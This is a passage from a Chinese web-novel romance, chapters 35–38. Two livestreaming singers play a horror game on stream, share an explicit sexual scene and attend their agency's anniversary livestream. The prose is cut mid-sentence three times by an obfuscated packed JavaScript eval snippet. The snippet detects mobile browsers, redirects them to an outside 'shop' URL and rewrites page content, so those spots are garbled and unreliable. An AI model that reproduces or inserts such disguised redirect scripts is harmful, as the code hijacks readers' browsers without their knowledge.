[花儿!你真的,我哭死了啊啊啊啊。] [离开你们,谁还宠着我啊呜呜呜。] [我鸡皮疙瘩起来了。] [六夜竹内人恐怖如斯。] [六夜竹眼神快粘他内人身上了吧,直勾勾的。] 35. 第 35 章 偷看内人被发现,李竹清了清嗓子转移话题,“那什么到我了,我就献上一首我自己的歌。” 《光会落在花瓣上》前奏一出,直播间感叹号无数,这首歌当初是他写给闵谌的,从很早就写了,一直没找到合适的机会发布,只是没想到闵谌会来到他身边。 这首歌第一次发布于名门的演唱会上,那时候粉丝们给两人拍照,出了张神图,那张图片他至今还保存在相册里,并点了爱心。 唱完后,老手问这首歌是写给谁的,李竹故意岔开话题,“你觉得我俩唱得怎么样?” 老手竖起两个大拇指,努起嘴巴:“牛波一,待会后台给我发绿泡泡,我老手诚心邀请二位参加音乐比赛。” 李竹:“行。” 闵谌:“好的,感谢老师给机会。” 老手笑得见牙不见眼,“诶,哪的话,咱们是互相成就,走了啊,你俩播吧。” 李竹:“拜拜。” 闵谌:“拜拜。” 老手:“拜拜。” 两人重回游戏,拿上道具开始闯第一章。 身为大师兄的李竹拿着桃木剑带着小师弟闵谌闯入一座破旧的茅草屋,伸手推开木门,木门发出陈年“嘎吱”声,令人牙酸。 堂屋两边摆放着脸颊被画上两坨红晕的纸人,衣服是一水的灰白色,与周围张灯结彩喜庆大红纱帐格格不入。 正堂的两张椅子两边各摆放着一张遗像,他们都没有五官,只能看见一团红。新娘一袭白衣白盖头站在右边,新郎则是一袭男士红嫁衣,头上盖着红盖头,手上撑着油纸伞。 李竹开的游戏语音,他“嘿”了声,“你们爸妈没说不准在屋里打伞么?会长不高的。” 闵谌扶额,“哥,这游戏内置语音是用来咱们交流的,跟NPC对不了话。” 李竹“哦”了下,掏出桃木剑对着桌上的红白蜡烛戳了几下。 他突然发现自己游戏屏幕上弹出一个食用花生米的选项,想也没想就点了,下一秒“嘎吱”声响起,木门被关上,耳机里传来诡异的音乐。 两人被这突如其来的东西吓了个激灵,视角乱转,想看看两位主角中是谁来了。 蜡烛被风吹得疯狂乱舞,一道红色身影逐渐在两人面前显现,来人浑身散发着幽幽鬼气,皮肤是毫无血色的苍白,手中提着一个用纸做的人头灯笼,灯笼猛地蹿起绿色火光,照亮了整间屋子,显得诡异无比。 屏幕下方弹出对话。 [鬼新郎:你们也是为杀我而来的吗?] [大师兄:妖孽!为达成目的不惜与堂妹结婚,你不死谁死?] [鬼新郎:我为达成目的?你们怎么不问问其他人!既然来了都别想离开!都留下来为我陪葬吧!] [小师弟:师兄,不要与他过多废话。] 对话结束,屏幕彻底黑掉。 屏幕再次亮起时,他们早已转移到别的地方。 是一处荒郊野地,面前有两座坟墓,乍一看还以为是两座自然形成的小山坡,上面长满了杂草,天空中盘旋着乌鸦,时不时发出低哑的叫声,着实令人毛骨悚然。 游戏弹出提示:[请在天亮前解开谜题,期间鬼新郎与鬼新娘会不断出现,鬼新郎出现时请与他保持距离。鬼新娘出现时请寻找躲藏地,不要被鬼新娘找到。] 这提示在屏幕上跳了四五次才消失。 闵谌忍不住发出疑问:“为什么要躲鬼新娘,我们不是来救她的吗?” 李竹回道:“可能剧情需要?” “为什么会做这样的剧情?” “不知道,大概写剧情脚本的脑子有问题。” “你为什么人身攻击?” “我……”李竹被问得卡了一瞬,自暴自弃道:“我白磷型人格,我脾气爆好吧。” 闵谌道:“下次不可以骂人。” 李竹乖巧回答,实则咬紧牙关:“好的呢,小师弟。” 弹幕: [小师弟还没发动技能,花儿先开启问答模式了。] [以前六夜竹说花儿问题小孩。] [笑死了,我以为是那个问题小孩,原来是这个问题小孩。] [作为北方人,我要是这样问我会爆炸。] [我是摆白磷型人格~你咋这能忍呢六夜竹。] [前面的,你不懂,对面是他媳妇儿,他能骂才怪呢。] [但凡六夜竹骂一个字儿,今晚连沙发都别想睡。] 直播间吵吵闹闹,李竹已经开始头皮发麻了。 知道鬼新娘会出现,但没想到这么快,第一个就是鬼新娘。 鬼新娘一身白嫁衣,白盖头下源源不断地浸出鲜血,白嫁衣被鲜血染红,手指甲修长尖锐,风吹来掀起白盖头一角,看见白盖头下的脸,惨白,瞳孔猩红,脖子上有一条整齐平整的切割线,血就是从那冒出来的。 “我靠!”李竹看见鬼新娘第一瞬间手指发麻,鼠标握不住,还不忘叫闵谌躲起来,趁机掩饰自己怕得手指发麻的事实:“花儿,躲起来,别被看到,我卡了我动不了。” 闵谌非常听话,利用角色矫健的身体滚到一旁杂草丛里趴着,抬手掏出一沓五雷符疯狂往李竹那边砸。 他速度不及鬼新娘,符还没飞到鬼新娘身上,李竹已经被鬼新娘的长指甲捅穿倒地,符才慢悠悠落在鬼新娘身上,将她逼退数米远。 鬼新娘忌惮地看了杂草丛一眼,带着诡异的笑声消失在原地。 李竹复活吭哧吭哧滚到闵谌身边,“卡死我了。” 说着他松开鼠标“咔咔咔”掰了掰指关节,活动筋骨,避免下一次另一只鬼来了他又站在原地一动不动让鬼给捅死。 弹幕: [你是卡了吗?] [为什么我的弹幕没有延迟。] [其实你是害怕了吧?] [承认吧,有男人的男人就该大大方方的。] [承认你害怕不丢脸,让自己洗衣服儿戳穿更丢脸。] 李竹看到弹幕,闭掉游戏麦和连线麦,“我怕个毛,我以后改名儿叫李大胆,再说我胆小,脑浆都给你打分层行吗?” 弹幕: [还怪礼貌的。] [还问我们行吗,好有礼貌啊~] [主播有暴力倾向,举报了。] 李竹没管弹幕,打开游戏麦跟闵谌交流。 闵谌在他跟直播间吵架的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483946|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间里,已经狗狗怂怂爬到两座坟墓旁去了,他在右边坟墓的土堆旁发现有东西被埋在土里。 “哥,快来,我现在需要你。” “来了。” 李竹匍伏在地慢慢朝闵谌身边靠近,刚到,闵谌就说:“哥,桃木剑拿来挖一下,看看能不能给它挖出来。” 李竹:“……” 只是无言一瞬,他掏出桃木剑,蹲在人家坟墓旁吭哧吭哧挖土,少顷挖出一个长方体的破旧小盒子,需要解开上面的谜题才能得到密码打开盒子。 闵谌眉头一皱,开始提问:“为什么会有这么复杂的谜题?” 李竹:“可能这样显得有智商。” 盒子底部刻着一道谜题。 “日初鸡鸣,日中当午, 夜阑人定,日暮猿啼。 取其四序,便是密码。” 密码是十二时辰:子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥。 李竹两眼一黑,“没背过十二时辰,能不能借助直播间的兄弟姐妹们的大脑。” 闵谌道:“把盒子给我。” 李竹把盒子交给他,“你会?” “不会。” “那你要干啥?” “砸一下看看。” 说着闵谌重复点击拾取、丢弃,点了十来遍,这盒子都被轻飘飘地放在地上。 闵谌道:“一人血书,请求策划弄一个砸的动作。” 李竹:“……” 两人在坟地耗掉了游戏里的半个小时,熟悉的一抹红色出现在余光中。 他们齐齐转身面对鬼新郎,鬼新郎面前有个红色圆圈光效,应该是它的视线范围。 鬼新郎逐渐朝他们靠近,红圈眼见就要将二人照到,李竹拉着闵谌就绕着坟墓打转,每当红圈找到他们的时候,只要往边上挪一小步鬼新郎就会卡在原地转两圈,又继续飘荡。 刚开始觉得好玩,李竹就拉着闵谌玩了好半天,直到游戏提示鬼新郎怒气值增加到百分之九十七,即将大范围搜索两人才悻悻然换地方躲。 然而在换地方的时候,闵谌一只脚被红圈找到,在鬼新郎准备发动技能时那只脚消失不见。 [温馨提示:鬼新郎怒气值增加到百分百,将全图搜索,玩家将无处可逃哦~] 李竹暗骂:“温馨提示你爷个腿。” 鬼新郎的红圈开始覆盖整个地图,两人拔腿狂奔,只要不被鬼新郎追上,再撑几分钟就能把鬼新郎熬走。 谁成想,鬼新娘怒气值爆满时跟开了挂似的,站在原地把油纸伞分成两把,追着他们满地图开炮。 闵谌大喊:“救命啊——哥——” 李竹也跟着大喊:“宝——我救不了你——哥也被追呢!” 两人在地图上跑了好几圈,手指在键盘上摁得发酸。 实在没办法,李竹路过鬼新郎道:“能不能别追了,我们处不了,人鬼殊途,更何况我有对象,啊,别气了啊。” 鬼新郎像是开智了一般,头缓慢转向李竹,一个闪身把还没来得及换方向跑的李竹捅死了。 捅完李竹捅闵谌。 [温馨提示:角色双倒,游戏重新开始~] 36. 第 36 章 两人一起复活回这片荒郊野地,并且得到一个结论,要么躲好,要么被照到就遛鬼新郎,只要不被捅死问题就不大,解谜什么时候都能解,解不了就偷偷场外求助。 鬼新娘照例先出来逛一圈,两人趴在杂草里,等鬼新娘消失后立刻爬起来去挖盒子,李竹将盒子底部放大,用手机拍下来保存到相册里,待会趁着没人注意时上网搜一下答案。 鬼新郎一出来,两人就开始绕着整片荒郊野地跑,只要能多躲鬼新郎,满地图蹿都不是问题,实在不行让鬼新郎捅一下再补点血继续跑,怒气值不涨什么都好说。 直播间弹幕: [你俩要跑到什么时候?] [我觉得要跑到下播,大家觉得呢?] [你俩打个游戏都这么有节目的吗?] [实在不行我告诉你们答案吧,我真受不了了。] [盒子答案:丑午亥申。] 弹幕给盒子答案点+1,一时间弹幕全是“丑午亥申”。 李竹也看到了弹幕飘屏答案,趁着闵谌被鬼新郎追着的空隙,蹲到一旁拿出盒子输入密码。 “啪嗒”盒子打开了。 他立马在直播间激情开麦:“感谢各位兄弟姐妹们的答案,你们就是我互联网上最亲的兄弟姐妹。” 游戏里,盒子被打开,里面静静躺着一把锈迹斑斑的钥匙,与此同时鬼新郎也消失了。 闵谌操控小师弟哒哒哒跑过来,小师弟还没来得及说话,游戏角色就从李竹手上抢过钥匙。 [小师弟:师兄,钥匙我先收着。] [大师兄:行吧,你先收着,需要钥匙的时候再找你要,别弄丢了。] [小师弟:没问题师兄,交给我你就放心吧!] 本来以为就是一段很正常的对话,谁知道游戏里的大师兄把头扭向一边小声逼逼。 [大师兄:交给你我放心不了......] 闵谌:“......” 李竹:“......” 李竹怕闵谌误会,连忙解释:“这不是我操控他说的,是游戏角色自己说的。” 闵谌那边静了一会才蹦出一个单音节词:“哦。” 直播间弹幕: [笑死了,我不行了。] [本来不想笑的,大师兄开口我就忍不住了。] [哈哈哈哈哈哈哈哈哈。] [好笑的不是游戏,好笑的是六夜竹做什么我都想笑。] [睡沙发吧今晚,实在不行扯床被套出去裹着睡得了。] 李竹清了清嗓子,向闵谌发起牵手邀请,“走走走,我们去找找还有什么地方需要解锁的。” 闵谌点下同意,一声不吭地被拉着在地图上找谜题。 两人在这地图上东翻西逛,也没个提示,好半天才成功找到所有谜题,花费一个半小时才进入下一章,途中被鬼新郎鬼新娘追着满地图来来回回死了不下十次。 玩久了眼睛疲惫,李竹手机刚好收到快递员的电话,便提出下播,闵谌想也没想就答应下播,也答应粉丝们明天排档还歌,粉丝们这才善罢甘休允许二人下播。 李竹关掉电脑起身去拿快递,闵谌就站在门口看着一堆大大小小的快递,感觉这些纸壳踩扁捆在一起能买个五块钱的样子。 李竹一个快递一个快递开始拆,他买了好多稀奇古怪的小玩意儿,还有一些衣服,是准备一周年录制时穿的,连同闵谌的衣服他也跟着全买了,从头到脚,从内到外,全部承包。 之前买的小葫芦项链是定制的,刚好一起到了,李竹找到快递拆开,是一个手掌大小的正方形丝绒盒,打开里面就是他的,定制的那条金葫芦项链。 他偷偷跟店家商量,在金葫芦底部把闵谌的名字刻上去,往下一看,果然底部就刻着闵谌二字。 他抬手冲闵谌招了招,“宝,来。” 闵谌蹲在地上看其他快递,闻言往他那边挪了一个屁股的位置,“怎么了?” 李竹十分神秘道:“闭眼,我给你看样东西。” 有惊喜。 闵谌眼睛都睁大了一点,笑着听话闭眼,感受到李竹的动作,一个冰冰凉凉有重量的东西挂在他脖子上。 “睁眼看看喜不喜欢。” 闵谌睁眼低头,脖子上挂着一个金色葫芦项链,被黑绳串起来不轻不重落在锁骨间。 他指尖下意识抚摸着金葫芦,微凉的金属触感隔着薄薄的衣料贴在皮肤上,葫芦造型小巧但精致,表面纹路被打磨得圆润光滑,摸到葫芦底部感觉有一条走向很流畅的纹路,反过来一看,是他的名字。 他震惊地看向李竹。 “嗯哼。”李竹勾着嘴角,双手撑在身后,盘着腿,身体微微往后,全身支撑点都在身后的双手上,“喜欢吗?” 闵谌点头如小鸡啄米般,“喜欢。” 李竹发现闵谌很适合黑色的东西,就拿眼下就有的挂绳来说。 闵谌皮肤白皙,黑绳挂在他脖子形成了鲜明的对比,单看挂绳的话,会让人觉得他天生就适合佩戴黑绳挂件,看全身会给他一种这人在勾引他。 他觉得自己大抵是病了,一条黑色挂绳就能联想出这么多,脑子整天没点儿正常的颜色,全是yellow废料。 “喜欢就好,”他不自然地移开目光,撑起上半身去拿别的快递继续拆,嘴上还不忘调侃一下对方:“别摘下来,这可是虽迟但到的定情信物,摘下来就把你关猪笼。” 闵谌笑笑,一手撑着地,倾身上前在李竹脸上来了一口又响又脆的香吻,“谢谢哥。” 李竹先是一愣随后用快递掩盖自己的尴尬,耳朵泛起一抹诡异的红晕,人在尴尬的时候总想找点事干,于是他拿着衣服在闵谌身上比划来比划去,佯装道:“嗯,很合适,去换一下看看,不合身拿去改改。” “好。” 闵谌拿着一整套衣服噔噔噔跑回卧室。 李竹懊恼地闭上眼,在心里唾弃自己,平时那股游刃有余天不怕地不怕的厚脸皮劲儿去哪了,今天怎么化身一个纯情老男人,只是被亲了一下还会脸红,太诡异了。 平时起立说干就干,这会不行,过两天就是周年庆,不能在身上留痕迹,得忍耐两天。 半晌,他自暴自弃地想,爱怎么着怎么着吧,自己的心头肉穿什么都能让他心动,还在自己面前晃来晃去,能忍的是君子,反正他不是。 当小人没什么不好的,顶多会被口水淹死罢了,生前何必在意别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483947|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,先让自己舒坦了再说。 要是闵谌一副想让人欺负的模样在自己面前晃,他绝对不会手下留情,毕竟隐忍的人设他才不需要,他要当劫匪。 闵谌换好衣服出来,这套衣服是李竹特意挑选的,做的白色蕾丝镂空设计,上衣大v领,后背从脖颈成一个三角形的镂空设计,里面用白色蕾丝斜接三角镂空,黑白配。裤子同样,大腿从膝盖到大腿肚的位置以黑色蕾丝连接。 李竹眼睛都看直了,回过神时咽了咽口水,瞬间站起来大跨步走到闵谌面前转了一圈,纤细的腰肢被白色蕾丝半遮半掩,白皙的胸膛暴露在外,越看李竹越是胀得难受,移开眼又忍不住继续盯着。 “宝,要不我重新给你买一套吧?” 闵谌觉得这衣服挺好的,“为什么?” 李竹在空中比划几下,最后拉着闵谌回卧室把人推倒在床,欺身压了上去,“我现在告诉你为什么。” 说着伸手要去拽裤腰,闵谌眼疾手快攥紧裤腰,以打商量的方式道:“哥哥哥,这个是周年庆活动要穿的衣服,不能弄坏,你等我脱了行吗?” 李竹没说话,慢慢起身留给闵谌一个活动范围,然而闵谌刚解开裤腰,李竹伸手握住他裤脚抬手一扬,帮他把裤子扒了。 衣服也不等闵谌动作,直接上手帮脱,闵谌就像任人宰割的鱼一样光溜溜的,李竹急吼吼地进行高强度间歇性运动,一旁被丢弃在枕头边上的手机响了。 李竹停下动作“啧”了声,烦躁地去摸手机,动作没停,看到是陈嘉炽来电,在闵谌脸上轻轻拍了两下,“哥接个电话。” 闵谌瞪大双眼,连忙捂住自己的嘴,担心会冒出那么一两声不和谐的声响,又抓过枕头捂住嘴。 “喂。”李竹声音十分低哑性感。 电话那头的陈嘉炽愣了下,“你谁?” 李竹猛地向前,舒服地喟叹一声,“打电话不看名字?” 陈嘉炽:“看了,国道兄弟李竹。” “什么事儿?” “哦,过两天周年庆,把拍摄方式换成直播方式,你看怎么样?”陈嘉炽道:“这样咱们能实时关注直播间弹幕,也能跟粉丝互动,主要是怕以录制方式拍出来大家会尴尬没啥节目效果。” “行,我没意见。”李竹看着闵谌起伏的胸膛,没忍住手欠在他身上捏了一把,“开场还是按照之前商量的那样不变对吧?” 闵谌闷闷地哼了声。 “不变,服装准备好没?”陈嘉炽那边传来哗啦啦翻动纸张的声响:“没准备好我给你推荐几家服装店,去租。” “瞧不起谁?” 说着李竹嘴角扬起一个恶劣的弧度,又往前猛顶了下。 闵谌没憋住扬起脖颈“呃”了声。 “这不是你怕你没时间么,又是S市又是老雀的……”陈嘉炽听到某些动静,顿了顿警惕地问:“你那边什么声音?你在干嘛?” “干媳妇儿,还能干嘛,大晚上没事少给我打电话。” 话音刚落电话啪叽被挂断,没给陈嘉炽任何反应的时间。 陈嘉炽盯着手机看了几秒,随即名门顶层老板办公室内发出一声撕心裂肺的怒吼。 “草你大爷的六夜竹!!!!!” 37. 第 37 章 两人在家里没羞没臊地过了两天,这两天闵谌没怎么下床,吃饭李竹端饭,洗澡李竹抱,上厕所也是李竹抱,如此坦诚相待。 周年庆出席活动的衣服也被李竹重新换了,说是那件白色蕾丝的只能在家里穿,不给穿出去。 新买的是李竹拜托李女士买了派人送来的衣服,李女士本来想看看闵谌,结果李竹跟护崽似的一眼不给看,无论怎么苦口婆心劝,李竹硬是不松口,最后连亲妈电话也不接了。 新买的衣服一看就不便宜,上面全是小亮片,后背还用立体积木拼了朵小雏菊花。 活动当天,闵谌穿好衣服被迫拉去化妆,其实他觉得没必要,戴着口罩,化妆也白瞎。 李竹说:“化全妆,化给我看。” 一句话把闵谌满脸抗拒的表情给抚平了,坦然接受各种刷子乳液在脸上抹来抹去刷来刷去,还有各种小饰品在脸上贴,头发也给搞得亮晶晶的。 闵谌化完妆,整个人如同穿错凡人衣服的仙男,李竹看得出神,一旁化妆师叫了几遍也不理。 陈嘉炽插着兜从外面走进来,路过他在眼前打了个响指揶揄道:“这个时候看入迷还不是时候,回家再看铁子。” 李竹回神给了陈嘉炽一肘击:“滚,怎么这么晚才来?” “有点事耽搁了,”陈嘉炽吃痛地揉了肚子:“我刚从外面进来的时候,看见你们俩的一堆粉丝。” 闵谌问:“有多少?” 陈嘉炽十分夸张道:“两大卡车都坐不下,你要不去看看?我现在要做妆造,没时间陪你。” 李竹骂了句什么,“用你陪?” 陈嘉炽:“行行行,不用,你赶紧化,别溜达了。” 说着在另一边位置坐下。 李竹想跟闵谌一块去见见粉丝,无奈被化妆师死死按在座位上,“先化妆,不要耽误我赚钱的速度ok?” 李竹偃旗息鼓,连连说了几声“ok”,“宝,你先去,我化完妆就来,别走丢了。” 旁边陈嘉炽干呕几声。 李竹转头抬手一指:“捏在呕,国道走一趟。” 陈嘉炽在唇边做了个拉拉链的手势。 闵谌跟两人挥挥手,拐出了化妆间。 从没想过自己线下活动会有粉丝来现场,而且听陈嘉炽的描述应该是很多。 他不自觉加快脚步拐出后台,来到门口。 他被震撼住了。 门口站着很多人,感觉能把场地塞满的程度,其中他和李竹的粉丝最多,手里拿着属于他们的虚拟皮套立牌,看到他出来纷纷尖叫。 “花儿宝!” “花儿!” “花儿今天好帅。” “想要亲签!” 闵谌小跑两步来到他们面前,热情地照相机闪光灯不断闪烁发出声响,他跟大家打招呼:“你们好,怎么都来线下了,还没给大家准备礼物。” 有粉丝道:“想给你一个惊喜啊,来看看我粉的爱播!上次演唱会没来!” 闵谌第一次见这么多人,紧张地手不停在出汗,他小心翼翼道:“大家想喝点什么,我可以请。” “不用消费,我们就是来看看你和六夜竹而已。” “不愧是六夜竹老婆啊,身上好香。” “哈哈哈哈哈哈,实在不行你跟粉丝们私奔吧,六夜竹能给的,我们也能给!” 粉丝们七嘴八舌地调侃他,把他弄得小脸通红不知所措:“刚刚我听到有粉丝说要亲签,我没带笔,你们有吗借一下。” 有粉丝递了只笔到他面前,他仓促抬眼看了下,道谢后才去拿笔,刚一拿到就有无数只手伸到他面前,手里都拿着小卡片和他的照片,有些还是他和六夜竹的照片。 这群粉丝什么都能干,连没有过的合照都能P到一起去。 他一拿过一张张照片,在上面写下自己的名字,有一瞬间的恍惚,差点把自己大名签上去了,人多手速跟不上,名字还长。 “花儿。” 一声熟悉的声音传来,他扭头,是李竹。 身后粉丝疯狂尖叫,差点震破他耳膜。 “六夜竹!” 李竹朝粉丝们点头,来到他身边,低声道:“还以为你丢了。” 闵谌摇摇头表示没有,又举了下手里的照片和笔,“我在签名。” 然后李竹也被迫加入了前面的签名小队,噗噗他们出来想跟粉丝们打招呼,也被拉了进去。 签名小队逐渐壮大,从一个人到两个再到三个,最后几乎出席这场活动的同事们都加入了签名小队。 直到有工作人员来叫人,所有人才得以停笔返回场地,临走前李竹道:“大家回去注意安全,不要在路上看直播小心坐错站,拜拜。” 闵谌站在李竹身边,跟粉丝们挥手。 等工作人员来催第二次后他们所有人才全部离开。 周年庆以直播的方式进行,定制了很多游戏,播四个小时试试水,效果不错,能引流,说不定以后线下活动会尝试一天直播24小时。 大家在后台准备,假人是今天直播的主持人,做好一切准备工作后,直播开始了。 名门直播刚开立马涌入一大批粉丝,直播间粉丝数量涨到4万+,弹幕跟导弹似的一条接一条发射,快到只剩下残影。 假人戴着口罩,他拿着手机话筒在屏幕前道:“欢迎大家来到名门一周年直播现场,首先咱们先祝名门一岁生日快乐!” 弹幕: [名门一岁生日快乐!] [好快,名门已经一岁了。] [为什么名门才一岁?] [前面的应该不知道吧,名门其实以前的名字不叫名字,叫恒星音,后来因为某些事闭厅了,在流量上升期闭厅,可想而知是什么样的大事能让一个厅被迫关闭,品吧,细品。] [楼上也没见得多了解,其实就是因为六夜竹跟9527发现有一个语音厅老板私下骚扰主播,两人闭厅重开改名名门就是去干那个老板的。] [哪个语音厅啊?] [这个大家都不知道,当时他们两个只说了这么多,你看看哪个语音厅倒闭了就是哪个呗。] [前面的真搞笑,语音厅每年干不下去的那么多,难道都是国道兄弟干倒闭的,别招笑了好吗?事实是什么样,一张嘴我就可以胡说八道。] 管理员很快发现直播风向不对,立马发了5000钻石包,设置门槛。 一下子直播间弹幕全部变成了“名门一岁生日快乐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483948|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,互掐的内容被刷了下去。 直播间里假人开始介绍参加线下活动的成员,挨个出场。 假人:“那么,接下来欢迎我们的M.六夜竹,此人是我们的名门厅管兼考官,都说他有一张传奇的嘴啊。” 李竹一身正规西装,头发全都捋到脑后额前留下几根随风飘扬的头发,像个久经职场的总裁,沉稳中带着一丝痞气。 假人那话筒递给他:“嘴长我身上我爱说啥说啥,不辱骂任何人,人不犯我我不犯人,如果看到我说话,你觉得不舒服欢迎来9527直播间对骂,送你十年禁言大礼包,记得说谢谢。” 弹幕: [他真的我哭死!] [挨骂也不忘带上兄弟。] [国道兄弟,名不虚传。] [他好嚣张,我爱上了怎么办???] [前面的,他媳妇儿在现场。] 后台,陈嘉炽翻了个白眼,手搭在闵谌肩上,另一只手拿话筒指着李竹的背影开始造谣:“你看这人不会是暗恋我吧,逮着我就是骂。” 闵谌冷漠拂开他的手:“该。” 陈嘉炽“嘶”了声,“我发现你有点近墨者黑了,瞧你跟他学的啥东西,你以前不是这样的。” “哪样?” “乖乖软软的小蛋糕。” 闵谌起了一身鸡皮疙瘩,“我是炸炸硬硬的大皮球。” 陈嘉炽:“……哎,嫁出去的员工,泼出去的水啊。” 假人在前面慌不择路地抢话:“工作人员!工作人员!麻烦切掉后台麦克风!快!速度!” 弹幕: [笑死我了,9527又在蛐蛐六夜竹。] [我是炸炸硬硬的大皮球~] [太好笑了,名门线下也这么有节目吗?] [老板都这样,员工能无趣到哪儿去。] [他俩不会上国道吧?] [可能是三人,9527一砍二。] [太酷啦,这也能吃到饭!] [饭饭香香,花儿的反应太萌啦!] 工作人员马不停蹄地跑到后台一把夺走陈嘉炽手上的麦克风,啪叽一把把麦克风关掉。 陈嘉炽一脸懵逼,“咋了?出啥事儿了?” 身后噗噗他们跟着看过来,也在问出什么事儿了。 工作人员抹了一把额头虚汗:“话筒没关,刚刚陈总跟花老师说的话都传进直播间了。” 陈嘉炽:“……” 闵谌:“……” 噗噗忍了几秒,没忍住拍着西瓜皮肩膀大笑起来,“哈哈哈哈哈哈哈哈哈,怎么有人周年庆也在丢脸啊。” 陈嘉炽一个眼神,噗噗立马停止笑声,“老板,我是你最忠诚的员工,并非竹哥那样的心腹大患。” 说完还拍了拍自己胸口,竖了个大拇指。 西瓜皮伸手虚虚盖住眼睛,“我也是,电子忠诚。” 皇子也跟着表忠心:“还有我。” 直直:“我也是。” 气球:“同上。” 预制菜:“我也是,老板。” 陈嘉炽看向闵谌,好似在等待他表忠心。 闵谌扭头当没看见。 陈嘉炽:“……” 38. 第 38 章 “接下来有请我们名门阁老板,M.9527!他曾一手建立名门阁,给网络歌手一个家,他拥有着天使的笑容,菩萨般的心肠,他!就是我们的老板!9527!欢迎!!!” 李竹抿嘴拉长人中,隔着口罩都能看出来他嘴在蠕动。 直播间弹幕: [9527自己写的吧?] [很不错,就是说辞不太符合哈。] [举报了,虚假宣传。] [有臭鸡蛋吗?我想丢假人和老板。] [笑死了,六夜竹你在干嘛!] [我没招了,我笑得想死,这到底是谁写的!六夜竹在无声嘲笑9527] 陈嘉炽走出来,一把夺过假人手中的话筒,对出场顺序发出质疑:“为什么老板走最后一个?” 工作人员从一旁把话筒递给假人,“按业绩出场啊,第一出场的业绩不用说哈,全公司最高,老板快下去。” 作为老板的陈嘉炽几乎是被赶下去跟李竹排排站着的,他哭笑不得地跟身边人抱怨:“老板就没人权吗?” 李竹长腿交叠坐着,以一种舒服的姿态看着直播大屏幕,大屏幕能看到弹幕,他不急不缓道:“老板要什么人权,牛会哞哞叫,马会撂橛子,牛马会扣收到收到,这种时候压榨一下老板怎么了?” 陈嘉炽瞪了他一眼:“你以为你就不是老板了?” 李竹摇头,“请你现在辞掉我代理总裁的职位,谢谢。” 陈嘉炽骂:“滚。” “你看你又急。” 陈嘉炽冲他翻了个白眼。 直播间弹幕: [这俩好兄弟在聊什么呢?] [哇啦哇啦不知道在讲什么,9527怎么还翻上白眼了。] [请求给所有人手一个麦克风] [六夜竹今天这造型帅死我了,求花儿生孩子后续!] [前面的醒来又要说大梦一场空了。] 工作人员积极响应弹幕的号召,很快拿来了很多挂耳式麦克风。 闵谌这边刚戴好麦克风,假人便发话了:“接下来有请我们名门小白花——M.漂亮的花!这位老师唱功了得,前两天在直播间一展歌喉,让我听得很舒心。” 闵谌走出来站定在大屏幕前,他有点紧张,不知道什么毛病,一紧张肚子就跟着痛,现在还能忍,戴着口罩,只要舒展眉头,就不会在直播间表露出过多表情。 他挥挥手:“直播间的观众朋友们大家好,我是M.漂亮的花。” 假人道:“好,那么先请我们花老师落座一旁。” 闵谌走到李竹另一旁坐下,假人继续道:“有请我们名门神人M.噗噗!” 闵谌刚落下忍不住揉了揉肚子,李竹察觉到他的小动作侧头看他,低声问:“怎么了?吃坏东西了?” 闵谌摇摇头,同样低声道:“没有,我第一次线下活动有点紧张,我一紧张肚子就疼。” 李竹伸手在他肚子上轻轻揉着:“紧张到胃痉挛,没事,一会儿放松就好了,不舒服跟我说。” “好。” 李竹旁若无人地为闵谌揉肚子,陈嘉炽抱臂翘着二郎腿一脸不屑。 真不知道为什么这两人要被安排坐在一起,是哪位工作人员老师安排的,下班一定要狠狠奖励那位工作人员老师。 直播间弹幕: [六夜之和花儿开启屏障了吗?把噗噗和老板当空气吗?] [我有点怀疑老板的眼神是不是在嫌弃?] [噗噗一脸笑盈盈的是什么意思,也觉得现场磕cp也是如此之香吗。] [好怕9527翻白眼撅过去。/哭笑] [就这个六夜竹宠老婆爽!] [大家快截图!] 闵谌被李竹用温热的大手轻轻打圈揉着,肚子感觉好多了。李竹的动作很轻很慢,闵谌感觉整个人都在跟着他的手放松,被这么有一下没一下地揉着,肚子居然没方才那般疼,他自己也跟着放松了很多,不至于紧张到再次胃痉挛。 主要还是李竹在,如果今天这场线下活动没有李竹,他可能全程绷着,把自己绷成皮人。 这时陈嘉炽说了句:“行了啊你俩,公费恋爱也要有个度。” 李竹看他一眼,脸上写着,今天周年庆不跟你对骂,等下次的。他问闵谌肚子还疼不疼,得到不疼的答案后才意犹未尽地收手。 周年庆开场结束,接下来是游戏环节,一共设定了五个小游戏,第一个游戏就是捉迷藏,陈嘉炽当鬼,其他人需要藏起来。 为了玩这个游戏,他们租的场地是一家豪华酒店,这会儿刚在酒店后院举行完开场仪式。 